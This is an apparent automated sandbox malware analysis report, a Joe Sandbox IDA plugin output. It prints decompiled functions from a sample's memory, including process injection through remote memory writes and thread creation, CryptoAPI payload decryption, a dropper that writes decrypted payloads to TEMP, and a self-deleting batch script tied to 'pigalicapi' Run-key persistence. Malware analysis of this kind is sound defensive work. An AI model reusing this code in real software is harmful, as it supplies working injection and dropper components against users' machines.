Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3ccff9a06a89a97e6c3f6f2ca4e475eb5daa78dd1c2cff0adbe1b5a9ef65233e
Instruction ID: cb2b1c577f6c2eb629580bdbf47f529d576ce8939b3be3f1cb066eb9375a85c4
Opcode Fuzzy Hash: 3ccff9a06a89a97e6c3f6f2ca4e475eb5daa78dd1c2cff0adbe1b5a9ef65233e
Instruction Fuzzy Hash: 59D0C9B4685208BBE710CB84CC56F6ABBACD704751F004185FE089B280D5B1AE0056A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001820 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 1000182F

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 0afdfe0cb853849ea34192287f9d769febadd0286e44f929b2b370b7db5ff62e
Instruction ID: 84b35084efcff6c5970382eaf3cd32c1c52104bf155538fafba3cb0c341aa3c2
Opcode Fuzzy Hash: 0afdfe0cb853849ea34192287f9d769febadd0286e44f929b2b370b7db5ff62e
Instruction Fuzzy Hash: E8C04C7611430CABCB04DF98DC94DAB37ADBB8C650B04C508FA1D87204C630F9108BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04008CF0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 96
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E04008CF0(BYTE* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				long* _v24;
				char* _t31;
				int _t32;
				intOrPtr _t34;
				long** _t35;
				char* _t52;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L15:
					return _v8;
				} else {
					_v12 = 0;
					_t31 =  *0x4013370; // 0x400c6e4
					_t32 = CryptAcquireContextA( &_v12, _t31, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0);
					if(_t32 == 0) {
						_t32 = GetLastError();
						_v16 = _t32;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t52 =  *0x4013370; // 0x400c6e4
							_t32 = CryptAcquireContextA( &_v12, _t52, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t32 != 0) {
							_t34 = _a16;
							__imp__CryptHashData(_v20, _a12, _t34, 0);
							if(_t34 != 0) {
								_v24 = 0;
								_t35 =  &_v24;
								__imp__CryptDeriveKey(_v12, 0x6801, _v20, 1, _t35);
								if(_t35 != 0) {
									_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
									CryptDestroyKey(_v24);
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L15;
				}
			}

0x04008cf6
0x04008d01
0x04008e1a
0x04008e20
0x04008d25
0x04008d25
0x04008d35
0x04008d3f
0x04008d47
0x04008d49
0x04008d4f
0x04008d59
0x04008d6d
0x04008d78
0x04008d78
0x04008d59
0x04008d82
0x04008d99
0x04008da1
0x04008da5
0x04008db1
0x04008db9
0x04008dbb
0x04008dc2
0x04008dd5
0x04008ddd
0x04008df7
0x04008dfe
0x04008dfe
0x04008ddd
0x04008e08
0x04008e08
0x04008e14
0x04008e14
0x00000000
0x04008d82

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008D3F
GetLastError.KERNEL32 ref: 04008D49
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008D78
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008D99
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008DB1
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 04008DD5
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008DF1
CryptDestroyKey.ADVAPI32(00000000), ref: 04008DFE
CryptDestroyHash.ADVAPI32(00000000), ref: 04008E08
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008E14

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D68
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008D30

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$ContextHash$AcquireDestroy$CreateDataDecryptDeriveErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3718126946-947817771
Opcode ID: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction ID: a60922051ccac58686ce7bb6d252e90d8c3d4a9338f0118c5879c090c3d284f0
Opcode Fuzzy Hash: 71c9adc9b467ae165da43e1669a7b73bdd10744fd139576a6c229d191573f996
Instruction Fuzzy Hash: E5311B75A44209EBFB58DFA4C849BAE77B9FB44704F10C628F601B61C0D7B8A984CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04002510 Relevance: 12.1, APIs: 8, Instructions: 149
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04002510(void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				void* _v32;
				signed int _v36;
				void* _t138;
				void* _t139;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L14:
					return _v8;
				} else {
					_v24 = _a8 +  *((intOrPtr*)(_a8 + 0x3c));
					_v20 = _v24 + ( *(_v24 + 0x14) & 0x0000ffff) + 0x18;
					_v12 =  *((intOrPtr*)(_v24 + 0x50));
					_v16 = VirtualAlloc(0, _v12, 0x3000, 0x40);
					if(_v16 != 0) {
						_v32 = VirtualAllocEx(_a4,  *(_v24 + 0x34), _v12, 0x3000, 0x40);
						if(_v32 != 0) {
							L7:
							E04007B70(_v16, _a8,  *((intOrPtr*)(_v24 + 0x54)));
							_t139 = _t138 + 0xc;
							_v36 = 0;
							while(_v36 < ( *(_v24 + 6) & 0x0000ffff)) {
								E04007B70(_v16 +  *((intOrPtr*)(_v20 + 0xc + _v36 * 0x28)), _a8 +  *((intOrPtr*)(_v20 + 0x14 + _v36 * 0x28)),  *((intOrPtr*)(_v20 + 0x10 + _v36 * 0x28)));
								_t139 = _t139 + 0xc;
								_v36 = _v36 + 1;
							}
							E040026D0(_v16, _v32);
							if(WriteProcessMemory(_a4, _v32, _v16, _v12, 0) != 0) {
								VirtualFree(_v16, 0, 0x8000);
								_v28 = 0;
								_v8 = CreateRemoteThread(_a4, 0, 0, _v32 +  *((intOrPtr*)(_v24 + 0x28)), 0x11, 0,  &_v28);
								goto L14;
							}
							VirtualFree(_v16, 0, 0x8000);
							return 0;
						}
						_v32 = VirtualAllocEx(_a4, 0, _v12, 0x103000, 0x40);
						if(_v32 != 0) {
							goto L7;
						}
						VirtualFree(_v16, 0, 0x8000);
						return 0;
					}
					return 0;
				}
			}

0x04002516
0x04002521
0x040026c2
0x00000000
0x04002531
0x0400253a
0x0400254b
0x04002554
0x0400256a
0x04002571
0x04002596
0x0400259d
0x040025d7
0x040025e6
0x040025eb
0x040025ee
0x04002600
0x0400263c
0x04002641
0x040025fd
0x040025fd
0x0400264e
0x04002670
0x04002692
0x04002698
0x040026bf
0x00000000
0x040026bf
0x0400267d
0x00000000
0x04002683
0x040025b6
0x040025bd
0x00000000
0x00000000
0x040025ca
0x00000000
0x040025d0
0x00000000
0x04002573

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040), ref: 04002564
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,00000040), ref: 04002590
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00103000,00000040), ref: 040025B0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040025CA

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID:
API String ID: 3668210933-0
Opcode ID: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction ID: c64b90f60543cdd9f1b152a56a7e8b33ad9649d5cc2119a14d9a029aa2c63625
Opcode Fuzzy Hash: 7b5e2a0a0879127798f9ea868be388b8c75a87b6f8ac87fe0ac4160dfdf198bf
Instruction Fuzzy Hash: D0510D75E00209AFEB18DF94C895FAEB7B5FB48305F10C558E615BB280D778A981CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04007250 Relevance: 7.6, APIs: 5, Instructions: 113
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E04007250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				char* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v40;
				int _v44;
				int _v48;
				char _v64;
				signed int _v68;
				intOrPtr* _v72;
				struct _SYSTEMTIME _v88;
				char* _t58;
				intOrPtr* _t68;
				short* _t69;
				signed int _t70;
				intOrPtr* _t91;
				void* _t97;
				void* _t100;
				intOrPtr* _t101;

				_v5 = 1;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 ||  *((intOrPtr*)(_a4 + 0x10)) == 0) {
					L12:
					return _v5;
				} else {
					_v24 = E040016F0(_a8, _a12);
					_t58 =  *0x40118a0; // 0x4013b88
					_v12 = _t58;
					E04007D20(_t58,  &_v40, 0, 0x10);
					wsprintfA( &_v40, "%u", _v24);
					_t100 = _t97 + 0x20;
					_v16 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v16 = 0x80000002;
					}
					_v20 = 0;
					if(RegOpenKeyExA(_v16, _v12, 0, 0xf003f,  &_v20) == 0) {
						_v48 = 0x10;
						_v44 = 0x10;
						if(RegQueryValueExA(_v20,  &_v40, 0, 0,  &_v64,  &_v44) == 0 && _v44 == 0x10) {
							_v72 =  &_v64;
							GetLocalTime( &_v88);
							_t91 = _v72;
							_t101 = _t100 - 0x10;
							_t68 = _t101;
							 *_t68 =  *_t91;
							 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(_t91 + 4));
							 *((intOrPtr*)(_t68 + 8)) =  *((intOrPtr*)(_t91 + 8));
							 *((intOrPtr*)(_t68 + 0xc)) =  *((intOrPtr*)(_t91 + 0xc));
							_t69 = _t101 - 0x10;
							 *_t69 = _v88.wYear;
							_t69[2] = _v88.wDayOfWeek;
							_t69[4] = _v88.wHour;
							_t69[6] = _v88.wSecond;
							_t70 = E04009910();
							asm("cdq");
							_v68 = _t70 / 0x3c;
							if(_v68 <  *((intOrPtr*)(_a4 + 0x10))) {
								_v5 = 0;
							}
						}
						RegCloseKey(_v20);
					}
					goto L12;
				}
			}

0x04007256
0x0400725e
0x040073af
0x040073b5
0x04007285
0x04007295
0x04007298
0x0400729d
0x040072a8
0x040072bd
0x040072c3
0x040072c6
0x040072d6
0x040072d8
0x040072d8
0x040072df
0x04007301
0x04007307
0x0400730e
0x04007331
0x0400733c
0x04007343
0x04007349
0x0400734c
0x0400734f
0x04007353
0x04007358
0x0400735e
0x04007364
0x0400736a
0x0400736f
0x04007374
0x0400737a
0x04007380
0x04007383
0x0400738b
0x04007393
0x0400739f
0x040073a1
0x040073a1
0x0400739f
0x040073a9
0x040073a9
0x00000000
0x04007301

APIs

wsprintfA.USER32 ref: 040072BD
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 040072F9
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 04007329
GetLocalTime.KERNEL32(?), ref: 04007343
RegCloseKey.ADVAPI32(00000000), ref: 040073A9

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction ID: 1589668eb117d9c12aae7036857c9bc1fd79cd220dc98d09134ced9bc9b72130
Opcode Fuzzy Hash: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction Fuzzy Hash: CE414C74900208EFEB08DF94D885BEDBBB5FF48300F14C569E915AB281D779AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0040140E Relevance: 3.0, APIs: 2, Instructions: 28
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040140E(signed int __eax) {
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t10;
				intOrPtr* _t15;
				intOrPtr* _t16;

				_v20 = 0;
				_v24 = 0;
				 *_t15 = 0;
				L00401C0C();
				_t16 = _t15 - 0xc;
				_t10 = __eax & 0xffffff00 | __eax == 0x00000000;
				if(_t10 == 0) {
					_v32 = 0;
					_v36 = 0;
					 *_t16 = 0;
					L00401C0C();
					if((_t10 & 0xffffff00 | _t10 == 0x00000000) == 0) {
						return 0;
					}
					return 1;
				}
				return 1;
			}

0x00401414
0x0040141c
0x00401424
0x0040142b
0x00401430
0x00401435
0x0040143a
0x00401443
0x0040144b
0x00401453
0x0040145a
0x00401469
0x00000000
0x00401472
0x00000000
0x0040146b
0x00000000

APIs

ZwOpenSymbolicLinkObject.NTDLL ref: 0040142B
ZwOpenSymbolicLinkObject.NTDLL ref: 0040145A

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: LinkObjectOpenSymbolic
String ID:
API String ID: 3706036087-0
Opcode ID: cd286264bccb84c5051e0243f65d90162e84a5efa82d2a79a07f8584eeb8a4d4
Instruction ID: b50a674320e6d0b66e8d5d3e8987e5ca71188859bf5b90f6f4bd054444dac5c5
Opcode Fuzzy Hash: cd286264bccb84c5051e0243f65d90162e84a5efa82d2a79a07f8584eeb8a4d4
Instruction Fuzzy Hash: 96F0C9A010D30056E7007F65D20975B7BE4AB41389F40456DE8C4AB6F5D7BDC449878B

Uniqueness

Uniqueness Score: -1.00%

Function 023709FC Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.571769846.0000000002370000.00000040.00001000.00020000.00000000.sdmp, Offset: 02370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2370000_iJzpyjAehB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda46960d40e5069d9d85ddddae04929f816436dd0746330b63fa234edf94fde
Instruction ID: 205eced71d1a3dbd413b2dbafc9c084cdb363b471496ab5299b75926759eeb29
Opcode Fuzzy Hash: fda46960d40e5069d9d85ddddae04929f816436dd0746330b63fa234edf94fde
Instruction Fuzzy Hash: 1F315E75A087568FDBA4DF18C8C092AB7E4FF89314F0545A9E9808B312E734E945CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 04003090 Relevance: .0, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E04003090() {

				asm("lodsd");
				return  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 8));
			}

0x0400309f
0x040030a4

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction ID: 88215b3929851b503fb9e0336a359976704c6dde636ba1c8479b7b66991880c0
Opcode Fuzzy Hash: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction Fuzzy Hash: 25C04C36221850CFC781CF18E444E81B3E4FB09631B068491E805DB721D234EC41CA40

Uniqueness

Uniqueness Score: -1.00%

Function 040074A0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 195
stringregistryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E040074A0() {
				char _v524;
				CHAR* _v528;
				void* _v532;
				void* _v536;
				void* _v540;
				char _v1060;
				char _v1580;
				char _v2364;
				long _v2368;
				struct _PROCESS_INFORMATION _v2384;
				long _v2388;
				struct _STARTUPINFOA _v2460;
				void* _t86;
				void* _t121;
				void* _t123;
				void* _t124;

				E04007D20(E04007D20( &_v2364,  &_v2364, 0, 0x30c),  &_v1060, 0, 0x208);
				_t123 = _t121 + 0x18;
				 *0x4014370 = 1;
				Sleep(0x3e8);
				if(( *0x4014362 & 0x000000ff) != 0) {
					_v2368 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v1060, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v1060,  &_v2368);
					}
					lstrcatA( &_v1060, "\\");
					lstrcatA( &_v1060, "pigalicapi");
					lstrcatA( &_v1060, ".exe");
				} else {
					GetModuleFileNameA(0,  &_v1060, 0x207);
				}
				SetFileAttributesA( &_v1060, 0x80);
				wnsprintfA( &_v2364, 0x30b, ":repeat\r\ndel %s\r\nif exist %s goto :repeat\r\ndel %%0",  &_v1060,  &_v1060);
				_t124 = _t123 + 0x14;
				if( *0x401436c != 0) {
					_t86 =  *0x401436c; // 0x258
					TerminateThread(_t86, 1);
				}
				_v528 = "software\\microsoft\\windows\\currentversion\\run";
				_v532 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v532 = 0x80000002;
				}
				_v536 = 0;
				if(RegOpenKeyExA(_v532, _v528, 0, 2,  &_v536) == 0) {
					RegDeleteValueA(_v536, "pigalicapi");
					RegCloseKey(_v536);
				}
				if(( *0x401435b & 0x000000ff) != 0) {
					E04005E30(1);
					_t124 = _t124 + 4;
				}
				GetEnvironmentVariableA("TEMP",  &_v1580, 0x104);
				GetTempFileNameA( &_v1580, "slf", GetTickCount() % 0xffff,  &_v524);
				lstrcatA( &_v524, ".bat");
				_t71 = CreateFileA( &_v524, 0x40000000, 1, 0, 2, 0, 0);
				_v540 = _t71;
				if(_v540 != 0xffffffff) {
					_v2388 = 0;
					WriteFile(_v540,  &_v2364, lstrlenA( &_v2364),  &_v2388, 0);
					E04007D20(E04007D20(CloseHandle(_v540),  &_v2384, 0, 0x10),  &_v2460, 0, 0x44);
					_v2460.cb = 0x44;
					_v2460.dwFlags = _v2460.dwFlags | 0x00000001;
					_v2460.wShowWindow = 0;
					if(CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v2460,  &_v2384) != 0) {
						_t71 = CloseHandle(_v2384.hThread);
					}
					ExitProcess(0);
				}
				return _t71;
			}

0x040074cd
0x040074d2
0x040074d5
0x040074e4
0x040074f3
0x0400750b
0x0400751e
0x04007547
0x04007520
0x0400752e
0x0400752e
0x04007559
0x0400756b
0x0400757d
0x040074f5
0x04007503
0x04007503
0x0400758f
0x040075b4
0x040075ba
0x040075c4
0x040075c8
0x040075ce
0x040075ce
0x040075d4
0x040075de
0x040075f1
0x040075f3
0x040075f3
0x040075fd
0x04007628
0x04007636
0x04007643
0x04007643
0x04007652
0x04007656
0x0400765b
0x0400765b
0x0400766f
0x04007698
0x040076aa
0x040076c6
0x040076cc
0x040076d9
0x040076df
0x0400770e
0x0400773f
0x04007747
0x0400775a
0x04007762
0x04007794
0x0400779d
0x0400779d
0x040077a5
0x040077a5
0x040077ae

APIs

Sleep.KERNEL32(000003E8), ref: 040074E4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 04007503
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 0400752E
lstrcatA.KERNEL32(?,0400C650), ref: 04007559
lstrcatA.KERNEL32(?,pigalicapi), ref: 0400756B
lstrcatA.KERNEL32(?,.exe), ref: 0400757D
SetFileAttributesA.KERNEL32(?,00000080), ref: 0400758F
wnsprintfA.SHLWAPI ref: 040075B4
TerminateThread.KERNEL32(00000258,00000001), ref: 040075CE
RegOpenKeyExA.ADVAPI32(80000001,0400C690,00000000,00000002,00000000), ref: 04007620
RegDeleteValueA.ADVAPI32(00000000,pigalicapi), ref: 04007636
RegCloseKey.ADVAPI32(00000000), ref: 04007643
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 0400766F
GetTickCount.KERNEL32 ref: 0400767C
GetTempFileNameA.KERNEL32(?,slf,00000000), ref: 04007698
lstrcatA.KERNEL32(?,.bat), ref: 040076AA
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 040076C6
lstrlenA.KERNEL32(?,00000000,00000000), ref: 040076F9
WriteFile.KERNEL32(000000FF,?,00000000), ref: 0400770E
CloseHandle.KERNEL32(000000FF), ref: 0400771B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0400778C
CloseHandle.KERNEL32(?), ref: 0400779D
ExitProcess.KERNEL32 ref: 040077A5

Strings

D, xrefs: 04007747
.exe, xrefs: 04007571
.bat, xrefs: 0400769E
USERPROFILE, xrefs: 04007542
:repeatdel %sif exist %s goto :repeatdel %%0, xrefs: 040075A3
pigalicapi, xrefs: 0400755F, 0400762A
TEMP, xrefs: 0400766A
slf, xrefs: 0400768C

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteDirectoryEnvironmentExitModuleOpenProfileSleepTempTerminateThreadTickUsersValueVariableWritelstrlenwnsprintf
String ID: .bat$.exe$:repeatdel %sif exist %s goto :repeatdel %%0$D$TEMP$USERPROFILE$pigalicapi$slf
API String ID: 3221898725-336785456
Opcode ID: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction ID: 33d1a80e31bd16fda39fb1d5e61c33b6d2d8e7faa3bd40571536c86a9d597677
Opcode Fuzzy Hash: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction Fuzzy Hash: 277134B1A44318ABF7649F60DC49FEA7778EB44705F448698B209B60C1DBBCAA84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04006DA0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 354
memoryfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E04006DA0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				void* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				long _v608;
				int _v612;
				long _v616;
				void* _v620;
				long _v624;
				intOrPtr _v628;
				void* _v632;
				intOrPtr _t198;
				struct _SECURITY_ATTRIBUTES* _t217;
				void* _t223;
				struct _SECURITY_ATTRIBUTES* _t248;
				void* _t347;
				void* _t349;
				void* _t350;

				_v8 = _a4;
				if(_v8 == 0) {
					L39:
					return 0;
				}
				Sleep( *(_v8 + 0x14) * 0x3c * 0x3e8);
				__imp__CoInitialize(0);
				_v32 =  *_v8;
				_v28 =  *((intOrPtr*)(_v8 + 4));
				_v24 =  *((intOrPtr*)(_v8 + 8));
				_v12 =  *(_v8 + 0x14);
				_v20 =  *(_v8 + 0xc);
				_v16 =  *((intOrPtr*)(_v8 + 0x10));
				if(( *(_v8 + 0xc) & 0x00000001) == 0) {
					GetEnvironmentVariableA("TEMP",  &_v604, 0x104);
					E04007D20( &_v340,  &_v340, 0, 0xa);
					E04009730( &_v340, 4);
					_t349 = _t347 + 0x14;
					GetTempFileNameA( &_v604,  &_v340, GetTickCount() % 0xffff,  &_v324);
					_v328 = CreateFileA( &_v324, 0x40000000, 1, 0, 2, 0, 0);
					if(_v328 != 0xffffffff) {
						_v608 = 0;
						_v612 = 0;
						_v616 =  *(_v8 + 0x1c);
						if(( *(_v8 + 0xc) & 0x00000010) == 0) {
							_v612 = WriteFile(_v328,  *(_v8 + 0x18),  *(_v8 + 0x1c),  &_v608, 0);
						} else {
							_v624 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
							_v620 = VirtualAlloc(0, _v624, 0x3000, 4);
							if(_v620 != 0) {
								if(E04006260(_v8,  *(_v8 + 0x18),  *(_v8 + 0x1c), _v620, _v624) == _v624) {
									_v612 = WriteFile(_v328, _v620, _v624,  &_v608, 0);
									_v616 = _v624;
								}
								VirtualFree(_v620, 0, 0x8000);
							}
						}
						CloseHandle(_v328);
						if(_v612 != 0 && _v608 == _v616) {
							_t198 = E04001E60( &_v324);
							_t350 = _t349 + 4;
							_v628 = _t198;
							if(_v628 != 0) {
								if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
									E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
									_t350 = _t350 + 0xc;
								}
								if(( *(_v8 + 0xc) & 0x00000004) != 0) {
									E04002510(_v628, 0x400e290);
								}
							}
						}
					}
					L38:
					__imp__CoUninitialize();
					goto L39;
				}
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				if(( *(_v8 + 0xc) & 0x00000010) == 0) {
					_t217 = E04002070( *(_v8 + 0x18));
					_t347 = _t347 + 4;
					_v40 = _t217;
				} else {
					_v44 =  *((intOrPtr*)( *(_v8 + 0x1c) +  *(_v8 + 0x18) - 4));
					_v48 = VirtualAlloc(0, _v44, 0x3000, 4);
					if(_v48 != 0) {
						if(E04006260( *(_v8 + 0x1c),  *(_v8 + 0x18),  *(_v8 + 0x1c), _v48, _v44) == _v44) {
							_t248 = E04002070(_v48);
							_t347 = _t347 + 4;
							_v40 = _t248;
							if(( *(_v8 + 0xc) & 0x00000008) != 0) {
								_v36 = VirtualAlloc(0, _v44, 0x3000, 4);
								E04007B70(_v36, _v48, _v44);
								_t347 = _t347 + 0xc;
							}
						}
						VirtualFree(_v48, 0, 0x8000);
					}
				}
				if(_v40 == 0) {
					L22:
					goto L38;
				} else {
					if( *((intOrPtr*)(_v8 + 0x10)) != 0) {
						E040073C0( &_v32,  *(_v8 + 0x18),  *(_v8 + 0x1c));
						_t347 = _t347 + 0xc;
					}
